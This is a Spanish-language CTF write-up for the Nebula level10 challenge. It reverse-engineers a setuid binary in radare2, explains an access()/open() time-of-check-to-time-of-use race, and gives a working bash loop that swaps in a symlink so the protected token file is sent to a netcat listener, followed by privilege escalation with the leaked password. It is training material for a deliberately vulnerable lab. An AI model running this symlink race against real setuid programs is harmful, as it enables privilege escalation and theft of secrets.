Pages

viernes, 20 de julio de 2018

Nebula CTF - level10

Continúa la caza de bugs:

level10@nebula:/home/flag10$ ls -al
total 14
drwxr-x--- 2 flag10 level10   93 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag10 flag10   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag10 flag10  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
-rw-r--r-- 1 flag10 flag10   675 2011-05-18 02:54 .profile
-rw------- 1 flag10 flag10    37 2011-11-20 21:22 token

O esto es un déjà vu, o se parece demasiado al reto level04. Veamos:

level10@nebula:/home/flag10$ ./flag10 token
./flag10 file host
 sends file to host if you have access to it

Si tenemos permisos de acceso al fichero indicado en el primer argumento, este se enviará al host de nuestra elección. No obstante, se presentan varias incógnitas: ¿a qué puerto se envía dicho fichero?, ¿cómo se comprueban los permisos de acceso?, ¿de nuevo strstr()? Aunque existen otros modos más directos, utilizaremos en este caso radare2 para destripar por completo el binario.

dpc@kernelinside:~$ r2 ./flag10
 -- git pull now
[0x08048620]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048620]> iz
000 0x00000a40 0x08048a40  58  59 (.rodata) ascii %s file host\n\tsends file to host if you have access to it\n
001 0x00000a7b 0x08048a7b  26  27 (.rodata) ascii Connecting to %s:18211 .. 
002 0x00000a96 0x08048a96  29  30 (.rodata) ascii Unable to connect to host %s\n
003 0x00000ab4 0x08048ab4   8   9 (.rodata) ascii .oO Oo.\n
004 0x00000ac0 0x08048ac0  34  35 (.rodata) ascii Unable to write banner to host %s\n
005 0x00000ae3 0x08048ae3  27  28 (.rodata) ascii Connected!\nSending file .. 
006 0x00000aff 0x08048aff  25  26 (.rodata) ascii Damn. Unable to open file
007 0x00000b19 0x08048b19  29  30 (.rodata) ascii Unable to read from file: %s\n
008 0x00000b37 0x08048b37  11  12 (.rodata) ascii wrote file!
009 0x00000b43 0x08048b43  28  29 (.rodata) ascii You don't have access to %s\n
[0x08048620]>

Con el volcado de strings obtenemos el puerto al que se conecta el binario, en este caso resulta ser el 18211. Ahora desensamblamos la función main():

[0x08048620]> s sym.main
[0x080486d4]> pdf
|           ;-- main:
/ (fcn) sym.main 664
|   sym.main (signed int arg_8h, int arg_ch);
|           ; arg signed int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; var char **oflag @ esp+0x4
|           ; var size_t nbytes @ esp+0x8
|           ; var char **path @ esp+0x1c
|           ; var char **local_28h @ esp+0x28
|           ; var char **local_2ch @ esp+0x2c
|           ; var int fd @ esp+0x30
|           ; var unsigned int fildes @ esp+0x34
|           ; var ssize_t local_38h @ esp+0x38
|           ; var int local_3ch @ esp+0x3c
|           ; var int local_103ch @ esp+0x103c
|           ; var int local_103eh @ esp+0x103e
|           ; var int local_1040h @ esp+0x1040
|           ; var int local_104ch @ esp+0x104c
|           ; DATA XREF from entry0 (0x8048637)
|           0x080486d4      push ebp
|           0x080486d5      mov ebp, esp
|           0x080486d7      and esp, 0xfffffff0
|           0x080486da      sub esp, 0x1050
|           0x080486e0      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x080486e3      mov dword [path], eax
|           0x080486e7      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x080486ed      mov dword [local_104ch], eax               ; [0x104c:4]=-1
|           0x080486f4      xor eax, eax
|           0x080486f6      cmp dword [arg_8h], 2                      ; [0x2:4]=-1 ; 2
|       ,=< 0x080486fa      jg 0x804871f
|       |   0x080486fc      mov eax, dword [path]                      ; [0x1c:4]=-1 ; 28
|       |   0x08048700      mov edx, dword [eax]
|       |   0x08048702      mov eax, str.s_file_host____sends_file_to_host_if_you_have_access_to_it ; 0x8048a40 ; "%s file host\n\tsends file to host if you have access to it\n"
|       |   0x08048707      mov dword [oflag], edx
|       |   0x0804870b      mov dword [esp], eax                       ; const char *format
|       |   0x0804870e      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x08048713      mov dword [esp], 1                         ; int status
|       |   0x0804871a      call sym.imp.exit                          ; void exit(int status)
|       |   ; CODE XREF from sym.main (0x80486fa)
|       `-> 0x0804871f      mov eax, dword [path]                      ; [0x1c:4]=-1 ; 28
|           0x08048723      mov eax, dword [eax + 4]                   ; [0x4:4]=-1 ; 4
|           0x08048726      mov dword [local_28h], eax
|           0x0804872a      mov eax, dword [path]                      ; [0x1c:4]=-1 ; 28
|           0x0804872e      mov eax, dword [eax + 8]                   ; [0x8:4]=-1 ; 8
|           0x08048731      mov dword [local_2ch], eax
|           0x08048735      mov eax, dword [path]                      ; [0x1c:4]=-1 ; 28
|           0x08048739      add eax, 4
|           0x0804873c      mov eax, dword [eax]
|           0x0804873e      mov dword [oflag], 4                       ; int mode
|           0x08048746      mov dword [esp], eax                       ; const char *path
|           0x08048749      call sym.imp.access                        ; int access(const char *path, int mode)
|           0x0804874e      test eax, eax
|       ,=< 0x08048750      jne 0x8048940
|       |   0x08048756      mov eax, str.Connecting_to__s:18211_..     ; 0x8048a7b ; "Connecting to %s:18211 .. "
|       |   0x0804875b      mov edx, dword [local_2ch]                 ; [0x2c:4]=-1 ; ',' ; 44
|       |   0x0804875f      mov dword [oflag], edx
|       |   0x08048763      mov dword [esp], eax                       ; const char *format
|       |   0x08048766      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x0804876b      mov eax, dword [sym.stdout]                ; obj.stdout ; [0x804a060:4]=0
|       |   0x08048770      mov dword [esp], eax                       ; FILE *stream
|       |   0x08048773      call sym.imp.fflush                        ; int fflush(FILE *stream)
|       |   0x08048778      mov dword [nbytes], 0
|       |   0x08048780      mov dword [oflag], 1
|       |   0x08048788      mov dword [esp], 2
|       |   0x0804878f      call sym.imp.socket
|       |   0x08048794      mov dword [fd], eax
|       |   0x08048798      lea eax, [local_103ch]                     ; 0x103c
|       |   0x0804879f      mov dword [eax], 0
|       |   0x080487a5      mov dword [eax + 4], 0
|       |   0x080487ac      mov dword [eax + 8], 0
|       |   0x080487b3      mov dword [eax + 0xc], 0
|       |   0x080487ba      mov word [local_103ch], 2                  ; [0x103c:2]=0xffff
|       |   0x080487c4      mov eax, dword [local_2ch]                 ; [0x2c:4]=-1 ; ',' ; 44
|       |   0x080487c8      mov dword [esp], eax
|       |   0x080487cb      call sym.imp.inet_addr
|       |   0x080487d0      mov dword [local_1040h], eax               ; [0x1040:4]=-1
|       |   0x080487d7      mov dword [esp], 0x4723                    ; '#G' ; [0x4723:4]=-1
|       |   0x080487de      call sym.imp.htons
|       |   0x080487e3      mov word [local_103eh], ax                 ; [0x103e:2]=0xffff
|       |   0x080487eb      mov dword [nbytes], 0x10                   ; [0x10:4]=-1 ; 16
|       |   0x080487f3      lea eax, [local_103ch]                     ; 0x103c
|       |   0x080487fa      mov dword [oflag], eax
|       |   0x080487fe      mov eax, dword [fd]                        ; [0x30:4]=-1 ; '0' ; 48
|       |   0x08048802      mov dword [esp], eax
|       |   0x08048805      call sym.imp.connect
|       |   0x0804880a      cmp eax, 0xffffffffffffffff
|      ,==< 0x0804880d      jne 0x8048830
|      ||   0x0804880f      mov eax, str.Unable_to_connect_to_host__s  ; 0x8048a96 ; "Unable to connect to host %s\n"
|      ||   0x08048814      mov edx, dword [local_2ch]                 ; [0x2c:4]=-1 ; ',' ; 44
|      ||   0x08048818      mov dword [oflag], edx
|      ||   0x0804881c      mov dword [esp], eax                       ; const char *format
|      ||   0x0804881f      call sym.imp.printf                        ; int printf(const char *format)
|      ||   0x08048824      mov dword [esp], 1                         ; int status
|      ||   0x0804882b      call sym.imp.exit                          ; void exit(int status)
|      ||   ; CODE XREF from sym.main (0x804880d)
|      `--> 0x08048830      mov dword [nbytes], 8                      ; size_t nbytes
|       |   0x08048838      mov dword [oflag], str..oO_Oo.             ; [0x8048ab4:4]=0x204f6f2e ; ".oO Oo.\n" ; void *ptr
|       |   0x08048840      mov eax, dword [fd]                        ; [0x30:4]=-1 ; '0' ; 48
|       |   0x08048844      mov dword [esp], eax                       ; int fd
|       |   0x08048847      call sym.imp.write                         ; ssize_t write(int fd, void *ptr, size_t nbytes)
|       |   0x0804884c      cmp eax, 0xffffffffffffffff
|      ,==< 0x0804884f      jne 0x8048872
|      ||   0x08048851      mov eax, str.Unable_to_write_banner_to_host__s ; 0x8048ac0 ; "Unable to write banner to host %s\n"
|      ||   0x08048856      mov edx, dword [local_2ch]                 ; [0x2c:4]=-1 ; ',' ; 44
|      ||   0x0804885a      mov dword [oflag], edx
|      ||   0x0804885e      mov dword [esp], eax                       ; const char *format
|      ||   0x08048861      call sym.imp.printf                        ; int printf(const char *format)
|      ||   0x08048866      mov dword [esp], 1                         ; int status
|      ||   0x0804886d      call sym.imp.exit                          ; void exit(int status)
|      ||   ; CODE XREF from sym.main (0x804884f)
|      `--> 0x08048872      mov eax, str.Connected___Sending_file_..   ; 0x8048ae3 ; "Connected!\nSending file .. "
|       |   0x08048877      mov dword [esp], eax                       ; const char *format
|       |   0x0804887a      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x0804887f      mov eax, dword [sym.stdout]                ; obj.stdout ; [0x804a060:4]=0
|       |   0x08048884      mov dword [esp], eax                       ; FILE *stream
|       |   0x08048887      call sym.imp.fflush                        ; int fflush(FILE *stream)
|       |   0x0804888c      mov dword [oflag], 0                       ; int oflag
|       |   0x08048894      mov eax, dword [local_28h]                 ; [0x28:4]=-1 ; '(' ; 40
|       |   0x08048898      mov dword [esp], eax                       ; const char *path
|       |   0x0804889b      call sym.imp.open                          ; int open(const char *path, int oflag)
|       |   0x080488a0      mov dword [fildes], eax
|       |   0x080488a4      cmp dword [fildes], 0xffffffffffffffff
|      ,==< 0x080488a9      jne 0x80488c3
|      ||   0x080488ab      mov dword [esp], str.Damn._Unable_to_open_file ; [0x8048aff:4]=0x6e6d6144 ; "Damn. Unable to open file" ; const char *s
|      ||   0x080488b2      call sym.imp.puts                          ; int puts(const char *s)
|      ||   0x080488b7      mov dword [esp], 1                         ; int status
|      ||   0x080488be      call sym.imp.exit                          ; void exit(int status)
|      ||   ; CODE XREF from sym.main (0x80488a9)
|      `--> 0x080488c3      mov dword [nbytes], 0x1000                 ; [0x1000:4]=-1 ; size_t nbyte
|       |   0x080488cb      lea eax, [local_3ch]                       ; 0x3c ; '<' ; 60
|       |   0x080488cf      mov dword [oflag], eax                     ; void *buf
|       |   0x080488d3      mov eax, dword [fildes]                    ; [0x34:4]=-1 ; '4' ; 52
|       |   0x080488d7      mov dword [esp], eax                       ; int fildes
|       |   0x080488da      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|       |   0x080488df      mov dword [local_38h], eax
|       |   0x080488e3      cmp dword [local_38h], 0xffffffffffffffff
|      ,==< 0x080488e8      jne 0x8048916
|      ||   0x080488ea      call sym.imp.__errno_location
|      ||   0x080488ef      mov eax, dword [eax]
|      ||   0x080488f1      mov dword [esp], eax                       ; int errnum
|      ||   0x080488f4      call sym.imp.strerror                      ; char *strerror(int errnum)
|      ||   0x080488f9      mov edx, str.Unable_to_read_from_file:__s  ; 0x8048b19 ; "Unable to read from file: %s\n"
|      ||   0x080488fe      mov dword [oflag], eax
|      ||   0x08048902      mov dword [esp], edx                       ; const char *format
|      ||   0x08048905      call sym.imp.printf                        ; int printf(const char *format)
|      ||   0x0804890a      mov dword [esp], 1                         ; int status
|      ||   0x08048911      call sym.imp.exit                          ; void exit(int status)
|      ||   ; CODE XREF from sym.main (0x80488e8)
|      `--> 0x08048916      mov eax, dword [local_38h]                 ; [0x38:4]=-1 ; '8' ; 56
|       |   0x0804891a      mov dword [nbytes], eax                    ; size_t nbytes
|       |   0x0804891e      lea eax, [local_3ch]                       ; 0x3c ; '<' ; 60
|       |   0x08048922      mov dword [oflag], eax                     ; void *ptr
|       |   0x08048926      mov eax, dword [fd]                        ; [0x30:4]=-1 ; '0' ; 48
|       |   0x0804892a      mov dword [esp], eax                       ; int fd
|       |   0x0804892d      call sym.imp.write                         ; ssize_t write(int fd, void *ptr, size_t nbytes)
|       |   0x08048932      mov dword [esp], str.wrote_file            ; [0x8048b37:4]=0x746f7277 ; "wrote file!" ; const char *s
|       |   0x08048939      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x0804893e      jmp 0x8048955
|      ||   ; CODE XREF from sym.main (0x8048750)
|      |`-> 0x08048940      mov eax, str.You_don_t_have_access_to__s   ; 0x8048b43 ; "You don't have access to %s\n"
|      |    0x08048945      mov edx, dword [local_28h]                 ; [0x28:4]=-1 ; '(' ; 40
|      |    0x08048949      mov dword [oflag], edx
|      |    0x0804894d      mov dword [esp], eax                       ; const char *format
|      |    0x08048950      call sym.imp.printf                        ; int printf(const char *format)
|      |    ; CODE XREF from sym.main (0x804893e)
|      `--> 0x08048955      mov edx, dword [local_104ch]               ; [0x104c:4]=-1
|           0x0804895c      xor edx, dword gs:[0x14]
|       ,=< 0x08048963      je 0x804896a
|       |   0x08048965      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; CODE XREF from sym.main (0x8048963)
|       `-> 0x0804896a      leave
\           0x0804896b      ret

La llamada de librería htons() confirma el puerto (0x4723 = 18211):

mov dword [esp], 0x4723
call sym.imp.htons

La función es un poco espagueti, pero si abstraemos únicamente las llamadas de sistema (syscall), descubrimos un orden interesante:

call sym.imp.access    ; int access(const char *path, int mode)
call sym.imp.socket
call sym.imp.connect
call sym.imp.write     ; ssize_t write(int fd, void *ptr, size_t nbytes)
call sym.imp.open      ; int open(const char *path, int oflag)
call sym.imp.read      ; ssize_t read(int fildes, void *buf, size_t nbyte)
call sym.imp.write     ; ssize_t write(int fd, void *ptr, size_t nbytes)

En este caso los permisos de acceso se comprueban mediante access(), y la página man nos advierte del peligro de usar esta llamada:

dpc@kernelinside:~$ man access
NOTES
       Warning:  Using  these  calls  to check if a user is authorized to, for
       example, open a file before actually doing so using open(2)  creates  a
       security  hole,  because the user might exploit the short time interval
       between checking and opening the file to manipulate it.  For this  rea‐
       son,  the  use  of this system call should be avoided.  (In the example
       just described, a safer alternative would be to temporarily switch  the
       process's effective user ID to the real ID and then call open(2).)

En la jerga, esta vulnerabilidad se conoce como TOCTOU (Time of Check - Time of Use), es decir, una condición de carrera. Si pasamos a access() la ruta de un fichero para el cual sí tenemos permisos de lectura, el programa continuará con normalidad, pero nada nos impide aprovechar el espacio de tiempo hasta que se produce la llamada open() para modificar dicho fichero y hacer que apunte a otro distinto (en este caso crear un enlace simbólico hacia token). open() no realiza otro chequeo de permisos, por lo que abrirá el mismo sin preocuparse. El exploit consistirá en un script de bash que repetirá indefinidamente los siguientes pasos:

1. Crear un nuevo archivo /tmp/fake
2. Lanzar ./flag10 /tmp/fake host en segundo plano
3. Esperar una cantidad arbitraria de tiempo
4. Sustituir /tmp/fake por un enlace a /home/flag10/token

Lo primero que necesitamos es abrir un listener con nc recibiendo peticiones de forma contínua en otro terminal:

level10@nebula:~$ while true; do nc -lv 18211; done

Ahora el script propiamente dicho:

#!/bin/bash

while true; do
        touch /tmp/fake
        /home/flag10/flag10 /tmp/fake 192.168.56.101 &
        i=0
        while [ $i -lt 200 ]; do
                let i+=1
        done
        ln -sf /home/flag10/token /tmp/fake
        rm -f /tmp/fake
done

Utilizamos un bucle interno para consumir el tiempo que sea necesario, puede que el valor 200 no sea el adecuado para ti. En todo caso, en el terminal donde ejecutamos nc pronto aparecerá lo siguiente:

level10@nebula:~$ while true; do nc -lv 18211; done
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
...

Y obtenemos el password del usuario flag10:

level10@nebula:/home/flag10$ su flag10
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...